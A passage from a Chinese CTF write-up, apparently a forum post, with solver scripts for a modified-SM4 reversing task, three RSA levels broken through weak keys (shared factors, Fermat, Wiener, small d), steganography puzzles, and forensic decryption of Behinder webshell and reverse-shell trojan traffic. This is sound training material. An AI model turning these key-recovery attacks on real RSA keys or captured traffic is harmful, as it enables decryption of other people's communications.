key_b64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)

key = base64.b64decode(key_b64.translate(str.maketrans(custom, standard)))
print(key.decode())
print(key[:16].decode())

分析代码后可以得知,加密逻辑在 crypt_core.so 里面,用 ida 打开 crypt_core.so

搜索 encode_data 字符串,我们可以找到 sub_9820(python 函数包装器)

进一步分析 sub_60B0,从这段代码中可以明显猜出是 SM4 的逻辑(图二为本地存的 SM4 脚本)

通过这段代码去找 S 盒,FK 和 CK 看看有没有更改参数

经分析,0xAC10 为 S 盒起始,0xAD10 为 FK,0xAD20 为 CK

在流量包中寻找到 flag.txt 的密文

exp 如下

from binascii import unhexlify

SBOX = bytes.fromhex(
    "ECCA0EF308F02AA23B182B5C37BD12A8"
    "05D3A1574F96FCF5A7141966589BBFB4"
    "39D51E1A30BC6C80B7ED4106D91767CD"
    "1D2CAE240313C65383110AF7C04DC49E"
    "8D001FC33F359FCB729D166FACCE3C5E"
    "A6E17B343632B895918952C1E7A33348"
    "04CF10EB25BB8E0F816EB343458F49F8"
    "4B59074ADEFDC8D0848BFBDADB28D43E"
    "A42F56BEEF86C762EA76E9D674A56BF9"
    "987D3A265AAF870D1B2EB2E36ACCF1FF"
    "D7F61CC9E870204E233DC2AADC0BF25F"
    "7AFA889747D10C02317FF4751593388A"
    "429071DD73557EB55B294C9AE08CB0E5"
    "642701DFAD2179949251697C22635085"
    "2DE2404644A982B661D8D2B968ABB15D"
    "655477A0C5BA609CE4FEEE99E6786D09"
)

FK = [
    0x3B1F86A4,
    0x83F7332D,
    0x58ADBA8E,
    0x71DC3F73,
]

CK = [
    0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7,
    0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA,
    0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6,
    0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907,
    0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A,
    0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,
]


def rol32(x: int, n: int) -> int:
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))


def tau(x: int) -> int:
    return (
        (SBOX[(x >> 24) & 0xFF] << 24)
        | (SBOX[(x >> 16) & 0xFF] << 16)
        | (SBOX[(x >> 8) & 0xFF] << 8)
        | SBOX[x & 0xFF]
    )


def T(x: int) -> int:
    b = tau(x & 0xFFFFFFFF)
    return (b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)) & 0xFFFFFFFF


def Tp(x: int) -> int:
    b = tau(x & 0xFFFFFFFF)
    return (b ^ rol32(b, 13) ^ rol32(b, 23)) & 0xFFFFFFFF


def expand_key(key16: bytes):
    mk = [int.from_bytes(key16[i:i + 4], "big") for i in range(0, 16, 4)]
    K = [(mk[i] ^ FK[i]) & 0xFFFFFFFF for i in range(4)]
    rk = []
    for i in range(24):
        v = (K[i] ^ Tp(K[i + 1] ^ K[i + 2] ^ K[i + 3] ^ CK[i])) & 0xFFFFFFFF
        K.append(v)
        rk.append(v)
    return rk


def decrypt_block(block: bytes, rk):
    vals = [int.from_bytes(block[i:i + 4], "big") for i in range(0, 16, 4)]

    finals = [0, 0, 0, 0]
    order = (3, 2, 1, 0)
    for pos, idx in enumerate(order):
        finals[idx] = vals[pos]

    X = [0] * 28
    X[24:28] = finals

    for i in range(23, -1, -1):
        X[i] = (X[i + 4] ^ T(X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ rk[i])) & 0xFFFFFFFF

    return b"".join(x.to_bytes(4, "big") for x in X[0:4])


def pkcs7_unpad(data: bytes) -> bytes:
    pad = data[-1]
    if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("bad padding")
    return data[:-pad]


def decrypt(ciphertext: bytes, key16: bytes) -> bytes:
    if len(key16) != 16:
        raise ValueError("key must be 16 bytes")
    if len(ciphertext) % 16 != 0:
        raise ValueError("ciphertext length must be multiple of 16")

    rk = expand_key(key16)
    out = b"".join(decrypt_block(ciphertext[i:i + 16], rk) for i in range(0, len(ciphertext), 16))
    return pkcs7_unpad(out)


if __name__ == "__main__":
    key = b"passvkcDKWLAA45o"
    ct_hex = "d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761"
    pt = decrypt(unhexlify(ct_hex), key)
    print(pt.decode())

密码

RSA

题目给了一个 readme.md

level1 的本质是“伪秘密共享 + 弱 RSA 集合”。share 实际是同余关系 ki=Smoddi,所以用 CRT 直接重构即可,方程写作 xki(moddi)。加密分支里大模数走 OAEP+AES,小模数是裸 RSA 包 16 字节 AES key,因此只要打穿部分公钥就能解出对应明文。这里混用了 gcd 共因子、Fermat、Wiener、素数模数、多素数模数等弱点。实际解出的映射为 ciphertext-1/2/3/4/5/8/9,对应 key-3/6/4/7/17/1/18,足够恢复 message6(门限 6),得到 level2 密码:9Zr4M1ThwVCHe4nHnmOcilJ8。

import itertools
import math
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes
from sympy import factorint, isprime

BASE = Path(__file__).resolve().parent

def load_keys():
    keys = {}
    for i in range(20):
        key = RSA.import_key((BASE / f"key-{i}.pem").read_bytes())
        keys[i] = {
            "n": key.n,
            "e": key.e,
            "bits": key.n.bit_length(),
        }
    return keys

def continued_fraction(n, d):
    while d:
        a = n // d
        yield a
        n, d = d, n - a * d

def convergents(cf):
    p0, p1 = 0, 1
    q0, q1 = 1, 0
    for a in cf:
        p2 = a * p1 + p0
        q2 = a * q1 + q0
        yield p2, q2
        p0, p1 = p1, p2
        q0, q1 = q1, q2

def wiener_attack(e, n):
    for k, d in convergents(continued_fraction(e, n)):
        if k == 0:
            continue
        if (e * d - 1) % k:
            continue
        phi = (e * d - 1) // k
        s = n - phi + 1
        disc = s * s - 4 * n
        if disc < 0:
            continue
        t = math.isqrt(disc)
        if t * t != disc:
            continue
        if (s + t) & 1:
            continue
        p = (s + t) // 2
        q = (s - t) // 2
        if p * q == n:
            return d, p, q
    return None

def fermat_factor(n, limit=2_000_000):
    a = math.isqrt(n)
    if a * a < n:
        a += 1
    for _ in range(limit):
        b2 = a * a - n
        b = math.isqrt(b2)
        if b * b == b2:
            p, q = a - b, a + b
            if p > 1 and q > 1 and p * q == n:
                return p, q
        a += 1
    return None

def recover_private_info(keys):
    private_info = {}


    for i, j in itertools.combinations(range(20), 2):
        ni = keys[i]["n"]
        nj = keys[j]["n"]
        g = math.gcd(ni, nj)
        if g in (1, ni, nj):
            continue
        for idx in (i, j):
            n = keys[idx]["n"]
            e = keys[idx]["e"]
            p, q = g, n // g
            try:
                d = inverse(e, (p - 1) * (q - 1))
                private_info[idx] = (d, [p, q])
            except ValueError:
                pass


    for idx in [3, 7, 13, 18]:
        if idx in private_info:
            continue
        n = keys[idx]["n"]
        e = keys[idx]["e"]
        pq = fermat_factor(n)
        if not pq:
            continue
        p, q = pq
        try:
            d = inverse(e, (p - 1) * (q - 1))
            private_info[idx] = (d, [p, q])
        except ValueError:
            pass

    for idx in [8, 16]:
        if idx in private_info:
            continue
        n = keys[idx]["n"]
        e = keys[idx]["e"]
        if isprime(n):
            d = inverse(e, n - 1)
            private_info[idx] = (d, [n])


    for idx in [6, 12, 17]:
        if idx in private_info:
            continue
        ret = wiener_attack(keys[idx]["e"], keys[idx]["n"])
        if ret:
            d, p, q = ret
            private_info[idx] = (d, [p, q])

    if 5 not in private_info:
        n = keys[5]["n"]
        e = keys[5]["e"]
        fac = factorint(n)
        phi = 1
        prime_list = []
        for p, a in fac.items():
            p = int(p)
            a = int(a)
            prime_list.extend([p] * a)
            phi *= (p - 1) * (p ** (a - 1))
        d = inverse(e, phi)
        private_info[5] = (d, prime_list)

    return private_info

def build_rsa_objects(keys, private_info):
    rsa_priv = {}
    for idx, (d, plist) in private_info.items():
        if len(plist) != 2:
            continue
        p, q = plist
        n = keys[idx]["n"]
        e = keys[idx]["e"]
        rsa_priv[idx] = RSA.construct((n, e, d, p, q))
    return rsa_priv

def decrypt_with_key(keys, private_info, rsa_priv, key_idx, ciphertext):
    n = keys[key_idx]["n"]
    bits = keys[key_idx]["bits"]
    d = private_info[key_idx][0]
    key_len = (bits + 7) // 8

    header = ciphertext[:key_len]
    nonce = ciphertext[key_len:key_len + 12]
    body = ciphertext[key_len + 12:-16]
    tag = ciphertext[-16:]

    try:
        if bits >= 2048:
            if key_idx not in rsa_priv:
                return None
            sym_key = PKCS1_OAEP.new(rsa_priv[key_idx]).decrypt(header)
        else:
            c = bytes_to_long(header)
            key_int = pow(c, d, n)
            sym_key = long_to_bytes(key_int, 16)

        plain = AES.new(sym_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(body, tag)
        return plain.decode("utf-8", errors="replace")
    except Exception:
        return None

def crt(mods, rems):
    m_all = 1
    for m in mods:
        m_all *= m

    x = 0
    for m, r in zip(mods, rems):
        m_i = m_all // m
        x = (x + r * m_i * inverse(m_i, m)) % m_all
    return x

def solve_flag():
    keys = load_keys()
    private_info = recover_private_info(keys)
    rsa_priv = build_rsa_objects(keys, private_info)

    solved = {}
    for ci in range(1, 11):
        ct = (BASE / f"ciphertext-{ci}.bin").read_bytes()
        for ki in sorted(private_info):
            pt = decrypt_with_key(keys, private_info, rsa_priv, ki, ct)
            if pt is not None:
                solved[ci] = (ki, pt)
                break

    pairs = []
    for ci in sorted(solved):
        lines = solved[ci][1].splitlines()
        triples = [ln for ln in lines if ln.count(":") == 2]
        if len(triples) >= 6:
            d_hex, k_hex, b_hex = triples[5].split(":")
            pairs.append((int(d_hex, 16), int(k_hex, 16), int(b_hex, 16)))

    if len(pairs) < 6:
        raise RuntimeError("Not enough shares to recover message6")

    pairs = pairs[:6]
    mods = [p[0] for p in pairs]
    rems = [p[1] for p in pairs]
    bit_len = pairs[0][2]

    x = crt(mods, rems)
    msg = x.to_bytes((bit_len + 7) // 8, "big").decode("utf-8", errors="replace")

    marker = "next pass is "
    if marker not in msg:
        raise RuntimeError("Password marker not found in recovered message")

    password = msg.split(marker, 1)[1].strip().rstrip("。.")
    return password

if __name__ == "__main__":
    flag = solve_flag()
    print(flag)

level2 是“已知明文 + 小私钥变体”。构造满足 ed1(modλ(n)),且 m1 已知,所以直接找 d 使 c1dm1(modn)。做法是连分数拿收敛分母 q,再试小因子修正 d=q/g,用 pow(c1,d,n)==m1 验证。拿到 d 后用 k=ed1=2sr 的标准流程分解 n,最后输出 sha256(str(p+q)),即 level3 密码:2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac。

import hashlib
import math
import random
import re
from pathlib import Path

BASE = Path(__file__).resolve().parent
TASK_FILE = BASE / "task.py"

def parse_public_data(task_text):
    data = {}
    for key in ["n", "e", "c1", "c2", "c3"]:
        m = re.search(rf"^#\s*{key}\s*=\s*(\d+)\s*$", task_text, flags=re.M)
        if not m:
            raise ValueError(f"Cannot find {key} in commented constants")
        data[key] = int(m.group(1))
    return data

def cont_frac(num, den):
    while den:
        a = num // den
        yield a
        num, den = den, num - a * den

def convergents(cf):
    p0, p1 = 0, 1
    q0, q1 = 1, 0
    for a in cf:
        p2 = a * p1 + p0
        q2 = a * q1 + q0
        yield p2, q2
        p0, p1 = p1, p2
        q0, q1 = q1, q2

def recover_d(e, n, c1, m1):
    for _, q in convergents(cont_frac(e, n)):
        if q <= 1:
            continue
        candidates = [q]
        for g in range(2, 2049):
            if q % g == 0:
                candidates.append(q // g)

        seen = set()
        for d in candidates:
            if d in seen:
                continue
            seen.add(d)
            if pow(c1, d, n) == m1:
                return d

    raise RuntimeError("Failed to recover d from continued fractions")

def factor_from_ed(n, e, d):
    k = e * d - 1
    if k % 2 == 1:
        raise RuntimeError("Invalid k=ed-1 (must be even)")

    s = 0
    r = k
    while r % 2 == 0:
        r //= 2
        s += 1

    for _ in range(200):
        a = random.randrange(2, n - 1)
        x = pow(a, r, n)
        if x in (1, n - 1):
            continue

        for _ in range(s - 1):
            y = pow(x, 2, n)
            if y == 1:
                p = math.gcd(x - 1, n)
                if 1 < p < n:
                    q = n // p
                    return min(p, q), max(p, q)
                break
            if y == n - 1:
                break
            x = y

    raise RuntimeError("Failed to factor n from (e, d)")

def solve():
    text = TASK_FILE.read_text(encoding="utf-8")
    pub = parse_public_data(text)

    n = pub["n"]
    e = pub["e"]
    c1 = pub["c1"]
    m1 = int.from_bytes(b"Secret message: " + b"A" * 16, "big")

    d = recover_d(e, n, c1, m1)
    p, q = factor_from_ed(n, e, d)

    next_pass = hashlib.sha256(str(p + q).encode()).hexdigest()
    print(next_pass)

if __name__ == "__main__":
    solve()

level3 的关键是先纠正优先级:Python 中 + 的优先级高于 ^,所以 leak 实际应理解为:leak = (S + ((p + q) mod 2^128)) ^ (n mod 2^64)。接着令 T = leak ^ (n mod 2^64),就得到 T = S + ((p + q) mod 2^128)。然后对 p、q 做 bit-lifting,从最低位开始逐位扩展,每次只枚举下一位的四种情况,并持续检查两个低位约束是否成立:第一,(p * q) mod 2^(k+1) = n mod 2^(k+1);第二,leak 方程在 mod 2^(k+1) 意义下也一致。这样一路剪枝,直到恢复 1536 位完整 p、q。最后按普通 RSA 收尾:phi(n) = (p - 1) * (q - 1),d = inverse(e, phi(n)),m = pow(c, d, n),再把 m 转成字节串即可得到最终 flag:dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}。

import re
from pathlib import Path

from Crypto.Util.number import inverse, long_to_bytes

BASE = Path(__file__).resolve().parent
TASK_FILE = BASE / "task.py"

def parse_constants(task_text):
    data = {}
    for key in ["n", "e", "c", "leak"]:
        m = re.search(rf"^#\s*{key}\s*=\s*(\d+)\s*$", task_text, flags=re.M)
        if not m:
            raise ValueError(f"cannot parse constant: {key}")
        data[key] = int(m.group(1))

    c1 = re.search(r"^CONST1\s*=\s*(0x[0-9a-fA-F]+)\s*$", task_text, flags=re.M)
    c2 = re.search(r"^CONST2\s*=\s*(0x[0-9a-fA-F]+)\s*$", task_text, flags=re.M)
    c3 = re.search(r"^CONST3\s*=\s*(0x[0-9a-fA-F]+)\s*$", task_text, flags=re.M)
    if not (c1 and c2 and c3):
        raise ValueError("cannot parse CONST1/CONST2/CONST3")
    data["CONST1"] = int(c1.group(1), 16)
    data["CONST2"] = int(c2.group(1), 16)
    data["CONST3"] = int(c3.group(1), 16)
    return data

def calc_s_mod(p, q, mask, const1, const2, const3):
    return (
        ((p * const1) & mask)
        ^ ((q * const2) & mask)
        ^ (((p & q) << 64) & mask)
        ^ (((p | q) << 48) & mask)
        ^ (((p ^ q) * const3) & mask)
    ) & mask

def recover_primes(n, leak, const1, const2, const3):

    t = leak ^ (n & ((1 << 64) - 1))


    candidates = {(1, 1)}
    target_bits = 1536

    for k in range(1, target_bits):
        new_set = set()
        mask = (1 << (k + 1)) - 1
        n_mod = n & mask
        t_mod = t & mask

        for p_low, q_low in candidates:
            for bp in (0, 1):
                for bq in (0, 1):
                    p2 = p_low | (bp << k)
                    q2 = q_low | (bq << k)

                    if ((p2 * q2) & mask) != n_mod:
                        continue

                    s_mod = calc_s_mod(p2, q2, mask, const1, const2, const3)
                    sum_mod = (p2 + q2) & ((1 << 128) - 1)
                    lhs = (s_mod + sum_mod) & mask
                    if lhs != t_mod:
                        continue

                    new_set.add((p2, q2))

        if not new_set:
            raise RuntimeError(f"no candidates survived at bit {k+1}")

        candidates = new_set


    for p, q in candidates:
        if p * q == n:
            return p, q
        if q * p == n:
            return q, p

    raise RuntimeError("failed to recover full p, q")

def solve():
    text = TASK_FILE.read_text(encoding="utf-8")
    data = parse_constants(text)

    n = data["n"]
    e = data["e"]
    c = data["c"]
    leak = data["leak"]
    const1 = data["CONST1"]
    const2 = data["CONST2"]
    const3 = data["CONST3"]

    p, q = recover_primes(n, leak, const1, const2, const3)

    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    m = pow(c, d, n)
    flag = long_to_bytes(m).decode("utf-8", errors="replace")
    print(flag)

if __name__ == "__main__":
    solve()

misc

steganography

先修文件成 PNG

Lsb 隐写

from PIL import Image

png_file = "steganography_challenge.png"

img = Image.open(png_file)

try:
    img.load()
except Exception as e:
    print("[!] PNG 加载报错,但继续用已解出的像素:", e)

img = img.convert("RGB")
w, h = img.size
print("[*] size =", w, h)

bits = []
for r, g, b in img.getdata():
    bits.append(r & 1)
    bits.append(g & 1)
    bits.append(b & 1)

out = bytearray()
for i in range(0, len(bits) - 7, 8):
    v = 0
    for bit in bits[i:i+8]:
        v = (v << 1) | bit
    out.append(v)

with open("lsb_dump.bin", "wb") as f:
    f.write(out)

magics = [
    b"PK\x03\x04",   # zip
    b"\x89PNG",      # png
    b"GIF89a",       # gif
    b"%PDF",         # pdf
    b"Rar!",         # rar
    b"7z\xbc\xaf\x27\x1c",  # 7z
]

for m in magics:
    idx = out.find(m)
    print(m, "->", idx)

idx = out.find(b"PK\x03\x04")
if idx != -1:
    with open("lsb_payload.zip", "wb") as f:
        f.write(out[idx:])
    print("[+] 已导出 lsb_payload.zip, 起始偏移 =", idx)
else:
    print("[-] 没找到 ZIP 头")

CRC 爆破

import glob
import os
import re
import zipfile
import zlib

files = sorted(
    glob.glob("pass*.zip"),
    key=lambda path: int(re.search(r"(\d+)", os.path.basename(path)).group(1))
    if re.search(r"(\d+)", os.path.basename(path))
    else 10**9
)

if not files:
    print("当前目录没找到 pass*.zip")
    raise SystemExit

# ===== 构造 CRC32(4字节) 的逆矩阵 =====
const = zlib.crc32(b"\x00" * 4) & 0xFFFFFFFF

cols = []
for j in range(32):
    x = bytearray(4)
    x[j // 8] = 1 << (j % 8)
    cols.append((zlib.crc32(bytes(x)) & 0xFFFFFFFF) ^ const)

rows = [0] * 32
for j, col in enumerate(cols):
    for i in range(32):
        if (col >> i) & 1:
            rows[i] |= 1 << j

aug = []
for i in range(32):
    aug.append(rows[i] | (1 << (32 + i)))

r = 0
for c in range(32):
    pivot = None
    for i in range(r, 32):
        if (aug[i] >> c) & 1:
            pivot = i
            break
    if pivot is None:
        raise ValueError("Error")
    aug[r], aug[pivot] = aug[pivot], aug[r]
    for i in range(32):
        if i != r and ((aug[i] >> c) & 1):
            aug[i] ^= aug[r]
    r += 1

inv_rows = []
for i in range(32):
    inv_rows.append((aug[i] >> 32) & 0xFFFFFFFF)

all_parts = []

for f in files:
    with zipfile.ZipFile(f, "r") as zf:
        infos = zf.infolist()

        if not infos:
            print(f"{f}: Empty!")
            continue

        if len(infos) != 1:
            print(f"{f}: tooManyFiles")
            continue

        info = infos[0]
        crc = info.CRC
        size = info.file_size

        if size != 4:
            print(f"{f}: too much Bytes")
            continue

        vec = crc ^ const
        x = 0
        for i, row in enumerate(inv_rows):
            bit = (row & vec).bit_count() & 1
            x |= (bit << i)

        plain = x.to_bytes(4, "little")

        try:
            text = plain.decode("ascii")
            if not all(32 <= c < 127 for c in plain):
                text = repr(text)
        except Exception:
            text = ""

        all_parts.append(plain)

if all_parts:
    joined = b"".join(all_parts)
    print(f"hex  : {joined.hex()}")
    print(f"bytes: {joined!r}")
    try:
        print(f"ascii: {joined.decode('ascii')}")
    except Exception:
        print("ascii: not ASCII")

0 宽隐写

s = "flag is here​‌‌​​‌​​​‌‌​​​​‌​‌‌‌​​‌​​‌‌‌​‌​​​‌‌‌‌​‌‌​‌‌​​​‌​​‌‌​​‌‌​​​‌‌​‌​​​​‌‌​​​‌​​‌‌​​​​​​‌‌​​​​​‌‌​​‌​​​​‌‌‌​​‌​​‌​‌‌​‌​‌‌​​​‌‌​‌‌​​​‌‌​​‌‌‌​​​​‌‌​​‌​​​​‌​‌‌​‌​​‌‌​‌​​​​‌‌‌​​​​‌‌​​‌‌​​​‌‌​‌‌​​​‌​‌‌​‌​‌‌​​​​‌​​‌‌​​​​​​‌‌‌​​‌​​‌‌​‌​‌​​‌​‌‌​‌​​‌‌​‌​‌​​‌‌​‌​​​‌‌​​​‌‌​‌‌​​​‌​​‌‌​​‌‌​​‌‌​​​​‌​‌‌​​‌​​​​‌‌​​​‌​​‌‌‌​​​​​‌‌‌​​‌​‌‌​​‌​‌​​‌‌​​​‌​‌‌‌‌‌​‌"

payload = s[len("flag is here"):]
bits = ''.join('0' if c == '\u200b' else '1' for c in payload)
msg = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print(msg)

溯源反制

traffic_hunt

分析流量发现有很多 POST 包,确定 favicondemo.ico 是 webshell

进⼀步分析

找到第一个 POST 包,解码一下传输的数据

cyberchef 看一下,发现是一个 class 文件

下载下来,反编译一下查看代码

确定这是一个冰蝎马。一开始我使用代码中的 key 解密,没有结果

使用工具 CTF-NetA 进一步分析

发现有 shiro 流量,这里又解密出了一个 key

使用这个 key 解密冰蝎流量,成功得到很多 class 文件

我们查看一下

发现有很多 update 类型的包,这个是用来更新文件的,也可以用来传输文件

里面有 blockindex 参数,猜测这里是在分块传输一个文件,文件名是 out

并且最后一个 POST 传输的数据里有运行这个文件的命令

我们编写脚本,提取出这个文件

import base64
import re
import sys
from pathlib import Path


INPUT_DIR = "."          # 输入目录
GLOB_PATTERN = "*.java"  # 文件匹配模式
OUTPUT_FILE = "recovered.bin" # 输出文件名


MODE_RE = re.compile(r'mode\s*=\s*mode\s*\+\s*"((?:\\.|[^"\\])*)"')
BLOCK_INDEX_RE = re.compile(r'blockIndex\s*=\s*blockIndex\s*\+\s*"((?:\\.|[^"\\])*)"')
CONTENT_RE = re.compile(r'content\s*=\s*content\s*\+\s*"((?:\\.|[^"\\])*)"')

def unescape_java_string(s: str) -> str:
    out = []
    i = 0
    n = len(s)
    while i < n:
        ch = s[i]
        if ch != "\\":
            out.append(ch)
            i += 1
            continue
        if i + 1 >= n:
            break
        nxt = s[i + 1]
        if nxt == "n": out.append("\n")
        elif nxt == "r": out.append("\r")
        elif nxt == "t": out.append("\t")
        elif nxt == "b": out.append("\b")
        elif nxt == "f": out.append("\f")
        elif nxt in ('"', "'", "\\"): out.append(nxt)
        elif nxt == "u" and i + 5 < n:
            try:
                out.append(chr(int(s[i+2:i+6], 16)))
                i += 6
                continue
            except ValueError:
                pass
        else:
            out.append(nxt)
        i += 2
    return "".join(out)

def extract_value(pattern: re.Pattern, text: str) -> str:
    return "".join(unescape_java_string(m) for m in pattern.findall(text))

def parse_one_file(path: Path):
    try:
        text = path.read_text(encoding="utf-8", errors="ignore")
    except Exception:
        return None

    if extract_value(MODE_RE, text).lower() != "update":
        return None

    idx_s = extract_value(BLOCK_INDEX_RE, text)
    content_b64 = extract_value(CONTENT_RE, text)

    if not idx_s or not content_b64:
        return None

    try:
        block_index = int(idx_s)
    except ValueError:
        return None

    clean_b64 = re.sub(r"\s+", "", content_b64)
    try:
        chunk_bytes = base64.b64decode(clean_b64, validate=False)
    except Exception:
        return None

    return {"block_index": block_index, "chunk": chunk_bytes}

def main():
    root = Path(INPUT_DIR)
    if not root.is_dir():
        print(f"[!] 输入目录不存在: {root}")
        return 1

    files = sorted(root.glob(GLOB_PATTERN))
    if not files:
        print(f"[!] 未找到匹配文件: {GLOB_PATTERN}")
        return 1

    chunks = []
    for fp in files:
        result = parse_one_file(fp)
        if result:
            chunks.append(result)

    if not chunks:
        print("[!] 未找到有效的分片")
        return 1

    # 排序并去重 (后出现的覆盖先出现的)
    chunks.sort(key=lambda x: x["block_index"])
    dedup = {c["block_index"]: c for c in chunks}
    ordered = [dedup[i] for i in sorted(dedup.keys())]

    output_path = Path(OUTPUT_FILE) if Path(OUTPUT_FILE).is_absolute() else root / OUTPUT_FILE
    
    with output_path.open("wb") as f:
        for c in ordered:
            f.write(c["chunk"])

    total_bytes = sum(len(c["chunk"]) for c in ordered)
    print(f"[+] 重组完成: {len(ordered)} 个分片, 总大小 {total_bytes} bytes")
    print(f"[+] 输出文件: {output_path}")

    indexes = list(dedup.keys())
    if indexes and (indexes[-1] - indexes[0] + 1) != len(indexes):
        print(f"[!] 警告: 发现缺失分片 (范围 {indexes[0]}-{indexes[-1]})")

    return 0

if __name__ == "__main__":
    main()

提取出文件,安装包里命令运行一下

报了个错,但是能看出这是一个 py 打包的文件

我们解包一下

反编译一下这个文件

分析代码可知,这个 out 是一个反弹 shell 的木马,数据传输使用 AES 的 GCM 模式加密

加密后的数据块总是在头部拼接了 12 字节的随机 Nonce(随机数),后面紧跟密文和 GCM 的认证标签(Tag)。

分析到这,也就是说我们接下来需要去分析一下最后走 out 文件的流量,是 tcp。我们挨个去解密一下

ciperchef 进行解密

得到 flag

dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 1天前 被Fulucky0编辑 ,原因: 添加一个steganography的附件
上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回